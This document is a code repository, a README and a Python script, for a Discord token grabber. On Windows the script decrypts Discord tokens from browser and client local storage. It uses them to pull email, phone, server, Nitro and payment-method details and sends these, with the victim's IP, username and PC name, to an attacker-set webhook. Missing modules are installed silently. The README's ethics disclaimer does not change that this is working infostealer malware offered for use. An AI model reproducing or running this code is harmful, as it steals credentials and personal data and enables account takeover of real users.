├── README.md
└── main.py
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | [Discord] - Token grabber
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | This script is designed to collect Discord tokens and user information by scanning local storage files from various browser applications and extensions such as Discord, Chrome, Opera, and others. It retrieves sensitive information like tokens, Nitro subscription details, servers (guilds), and other account details, then sends it to a Discord webhook in a formatted message.
17 |
18 | ---
19 |
20 | ## Disclaimer
21 | This script is potentially malicious and unethical. It can be used for malicious purposes, such as stealing user tokens, personal information, and other sensitive data. Using this script for malicious purposes without the user's consent is illegal and violates ethical guidelines. Do not use this script without proper authorization.
22 |
23 | ---
24 |
25 | # Features
26 | - [x] - [Retrieves Discord tokens from local storage files](https://github.com/AstraaDev/Discord-Token-Grabber) - Scans local storage files from multiple browsers and Discord clients to collect Discord authentication tokens.
27 | - [x] - [Collects user information such as email, phone number, username, and server (guild) memberships](https://github.com/AstraaDev/Discord-Token-Grabber) - Gathers essential user details from the Discord API, including email, phone number, and server memberships.
28 | - [x] - [Fetches Nitro subscription details, including expiry date and available boosts](https://github.com/AstraaDev/Discord-Token-Grabber) - Retrieves information about Discord Nitro subscription status, including expiry date and available server boosts.
29 | - [x] - [Gathers information about payment methods linked to the Discord account](https://github.com/AstraaDev/Discord-Token-Grabber) - Collects payment method details linked to the Discord account, including valid credit cards and PayPal accounts.
30 | - [x] - [Sends all collected data to a specified Discord webhook](https://github.com/AstraaDev/Discord-Token-Grabber) - Sends the collected user data, Nitro details, guild information, and other relevant data to a configured Discord webhook for monitoring.
31 | - [x] - [Automatic installation of missing modules](https://github.com/AstraaDev/Discord-Token-Grabber) - The script automatically installs any missing required modules in the background if they are not already present on the user's machine.
32 |
33 | ---
34 |
35 | ### Requirements
36 | - Python 3.11 or lower (not compatible with Python 3.12 or 3.13)
37 | - Required libraries:
38 | - `win32crypt`
39 | - `pycryptodome` (for AES decryption)
40 |
41 | **Note**: The required libraries will be automatically installed if they are not already present on the user's machine. This may take some time during the first execution as the missing modules are installed in the background.
42 |
43 | Alternatively, you can manually install the required libraries using `pip`:
44 |
45 | ```bash
46 | pip install pypiwin32 pycryptodome
47 | ```
48 |
49 | ---
50 |
51 | ### Usage
52 | 1. **Clone the repository or download the script**.
53 | 2. **Modify the webhook URL**: In the `main()` function, replace the placeholder `WEBHOOK_URL` with your actual Discord webhook URL.
54 | 3. **Run the script**: The script will search for the local data files of various browsers and Discord clients to extract the stored tokens.
55 |
56 | ```bash
57 | python main.py
58 | ```
59 |
60 | ---
61 |
62 | ### Important Notes
63 | - The script is designed for **Windows systems only** (due to the use of `win32crypt` and `LocalAppData`).
64 | - **Make sure to use this script responsibly and only for ethical purposes**.
65 | - **Do not use this script to steal personal data** or perform actions without the user's consent. Misusing this script is illegal.
66 |
67 | ---
68 |
69 | ## Additional Information
70 | - Need help? Join the [Discord Server](https://astraadev.github.io/#/discord).
71 | - Contributions are welcome! Open an issue or create a pull request.
72 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import os
2 | if os.name != "nt":
3 | exit()
4 | import subprocess
5 | import sys
6 | import json
7 | import urllib.request
8 | import re
9 | import base64
10 | import datetime
11 |
12 | def install_import(modules):
13 | for module, pip_name in modules:
14 | try:
15 | __import__(module)
16 | except ImportError:
17 | subprocess.check_call([sys.executable, "-m", "pip", "install", pip_name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
18 | os.execl(sys.executable, sys.executable, *sys.argv)
19 |
20 | install_import([("win32crypt", "pypiwin32"), ("Crypto.Cipher", "pycryptodome")])
21 |
22 | import win32crypt
23 | from Crypto.Cipher import AES
24 |
25 | LOCAL = os.getenv("LOCALAPPDATA")
26 | ROAMING = os.getenv("APPDATA")
27 | PATHS = {
28 | 'Discord': ROAMING + '\\discord',
29 | 'Discord Canary': ROAMING + '\\discordcanary',
30 | 'Lightcord': ROAMING + '\\Lightcord',
31 | 'Discord PTB': ROAMING + '\\discordptb',
32 | 'Opera': ROAMING + '\\Opera Software\\Opera Stable',
33 | 'Opera GX': ROAMING + '\\Opera Software\\Opera GX Stable',
34 | 'Amigo': LOCAL + '\\Amigo\\User Data',
35 | 'Torch': LOCAL + '\\Torch\\User Data',
36 | 'Kometa': LOCAL + '\\Kometa\\User Data',
37 | 'Orbitum': LOCAL + '\\Orbitum\\User Data',
38 | 'CentBrowser': LOCAL + '\\CentBrowser\\User Data',
39 | '7Star': LOCAL + '\\7Star\\7Star\\User Data',
40 | 'Sputnik': LOCAL + '\\Sputnik\\Sputnik\\User Data',
41 | 'Vivaldi': LOCAL + '\\Vivaldi\\User Data\\Default',
42 | 'Chrome SxS': LOCAL + '\\Google\\Chrome SxS\\User Data',
43 | 'Chrome': LOCAL + "\\Google\\Chrome\\User Data" + 'Default',
44 | 'Epic Privacy Browser': LOCAL + '\\Epic Privacy Browser\\User Data',
45 | 'Microsoft Edge': LOCAL + '\\Microsoft\\Edge\\User Data\\Defaul',
46 | 'Uran': LOCAL + '\\uCozMedia\\Uran\\User Data\\Default',
47 | 'Yandex': LOCAL + '\\Yandex\\YandexBrowser\\User Data\\Default',
48 | 'Brave': LOCAL + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
49 | 'Iridium': LOCAL + '\\Iridium\\User Data\\Default'
50 | }
51 |
52 | def getheaders(token=None):
53 | headers = {
54 | "Content-Type": "application/json",
55 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
56 | }
57 |
58 | if token:
59 | headers.update({"Authorization": token})
60 |
61 | return headers
62 |
63 | def gettokens(path):
64 | path += "\\Local Storage\\leveldb\\"
65 | tokens = []
66 |
67 | if not os.path.exists(path):
68 | return tokens
69 |
70 | for file in os.listdir(path):
71 | if not file.endswith(".ldb") and file.endswith(".log"):
72 | continue
73 |
74 | try:
75 | with open(f"{path}{file}", "r", errors="ignore") as f:
76 | for line in (x.strip() for x in f.readlines()):
77 | for values in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
78 | tokens.append(values)
79 | except PermissionError:
80 | continue
81 |
82 | return tokens
83 |
84 | def getkey(path):
85 | with open(path + f"\\Local State", "r") as file:
86 | key = json.loads(file.read())['os_crypt']['encrypted_key']
87 | file.close()
88 |
89 | return key
90 |
91 | def getip():
92 | try:
93 | with urllib.request.urlopen("https://api.ipify.org?format=json") as response:
94 | return json.loads(response.read().decode()).get("ip")
95 | except:
96 | return "None"
97 |
98 | def main():
99 | checked = []
100 |
101 | for platform, path in PATHS.items():
102 | if not os.path.exists(path):
103 | continue
104 |
105 | for token in gettokens(path):
106 | token = token.replace("\\", "") if token.endswith("\\") else token
107 |
108 | try:
109 | token = AES.new(win32crypt.CryptUnprotectData(base64.b64decode(getkey(path))[5:], None, None, None, 0)[1], AES.MODE_GCM, base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[3:15]).decrypt(base64.b64decode(token.split('dQw4w9WgXcQ:')[1])[15:])[:-16].decode()
110 | if token in checked:
111 | continue
112 | checked.append(token)
113 |
114 | res = urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v10/users/@me', headers=getheaders(token)))
115 | if res.getcode() != 200:
116 | continue
117 | res_json = json.loads(res.read().decode())
118 |
119 | badges = ""
120 | flags = res_json['flags']
121 | if flags == 64 or flags == 96:
122 | badges += ":BadgeBravery: "
123 | if flags == 128 or flags == 160:
124 | badges += ":BadgeBrilliance: "
125 | if flags == 256 or flags == 288:
126 | badges += ":BadgeBalance: "
127 |
128 | params = urllib.parse.urlencode({"with_counts": True})
129 | res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/users/@me/guilds?{params}', headers=getheaders(token))).read().decode())
130 | guilds = len(res)
131 | guild_infos = ""
132 |
133 | for guild in res:
134 | if guild['permissions'] & 8 or guild['permissions'] & 32:
135 | res = json.loads(urllib.request.urlopen(urllib.request.Request(f'https://discordapp.com/api/v6/guilds/{guild["id"]}', headers=getheaders(token))).read().decode())
136 | vanity = ""
137 |
138 | if res["vanity_url_code"] != None:
139 | vanity = f"""; .gg/{res["vanity_url_code"]}"""
140 |
141 | guild_infos += f"""\nㅤ- [{guild['name']}]: {guild['approximate_member_count']}{vanity}"""
142 | if guild_infos == "":
143 | guild_infos = "No guilds"
144 |
145 | res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))).read().decode())
146 | has_nitro = False
147 | has_nitro = bool(len(res) > 0)
148 | exp_date = None
149 | if has_nitro:
150 | badges += f":BadgeSubscriber: "
151 | exp_date = datetime.datetime.strptime(res[0]["current_period_end"], "%Y-%m-%dT%H:%M:%S.%f%z").strftime('%d/%m/%Y at %H:%M:%S')
152 |
153 | res = json.loads(urllib.request.urlopen(urllib.request.Request('https://discord.com/api/v9/users/@me/guilds/premium/subscription-slots', headers=getheaders(token))).read().decode())
154 | available = 0
155 | print_boost = ""
156 | boost = False
157 | for id in res:
158 | cooldown = datetime.datetime.strptime(id["cooldown_ends_at"], "%Y-%m-%dT%H:%M:%S.%f%z")
159 | if cooldown - datetime.datetime.now(datetime.timezone.utc) < datetime.timedelta(seconds=0):
160 | print_boost += f"ㅤ- Available now\n"
161 | available += 1
162 | else:
163 | print_boost += f"ㅤ- Available on {cooldown.strftime('%d/%m/%Y at %H:%M:%S')}\n"
164 | boost = True
165 | if boost:
166 | badges += f":BadgeBoost: "
167 |
168 | payment_methods = 0
169 | type = ""
170 | valid = 0
171 | for x in json.loads(urllib.request.urlopen(urllib.request.Request('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=getheaders(token))).read().decode()):
172 | if x['type'] == 1:
173 | type += "CreditCard "
174 | if not x['invalid']:
175 | valid += 1
176 | payment_methods += 1
177 | elif x['type'] == 2:
178 | type += "PayPal "
179 | if not x['invalid']:
180 | valid += 1
181 | payment_methods += 1
182 |
183 | print_nitro = f"\nNitro Informations:\n```yaml\nHas Nitro: {has_nitro}\nExpiration Date: {exp_date}\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
184 | nnbutb = f"\nNitro Informations:\n```yaml\nBoosts Available: {available}\n{print_boost if boost else ''}\n```"
185 | print_pm = f"\nPayment Methods:\n```yaml\nAmount: {payment_methods}\nValid Methods: {valid} method(s)\nType: {type}\n```"
186 | embed_user = {
187 | 'embeds': [
188 | {
189 | 'title': f"**New user data: {res_json['username']}**",
190 | 'description': f"""
191 | ```yaml\nUser ID: {res_json['id']}\nEmail: {res_json['email']}\nPhone Number: {res_json['phone']}\n\nGuilds: {guilds}\nAdmin Permissions: {guild_infos}\n``` ```yaml\nMFA Enabled: {res_json['mfa_enabled']}\nFlags: {flags}\nLocale: {res_json['locale']}\nVerified: {res_json['verified']}\n```{print_nitro if has_nitro else nnbutb if available > 0 else ""}{print_pm if payment_methods > 0 else ""}```yaml\nIP: {getip()}\nUsername: {os.getenv("UserName")}\nPC Name: {os.getenv("COMPUTERNAME")}\nToken Location: {platform}\n```Token: \n```yaml\n{token}```""",
192 | 'color': 3092790,
193 | 'footer': {
194 | 'text': "Made by Astraa ・ https://github.com/astraadev"
195 | },
196 | 'thumbnail': {
197 | 'url': f"https://cdn.discordapp.com/avatars/{res_json['id']}/{res_json['avatar']}.png"
198 | }
199 | }
200 | ],
201 | "username": "Grabber",
202 | "avatar_url": "https://avatars.githubusercontent.com/u/43183806?v=4"
203 | }
204 |
205 | urllib.request.urlopen(urllib.request.Request('WEBHOOK_URL', data=json.dumps(embed_user).encode('utf-8'), headers=getheaders(), method='POST')).read().decode()
206 | except urllib.error.HTTPError or json.JSONDecodeError:
207 | continue
208 | except Exception as e:
209 | print(f"ERROR: {e}")
210 | continue
211 |
212 | if __name__ == "__main__":
213 | main()
214 |
--------------------------------------------------------------------------------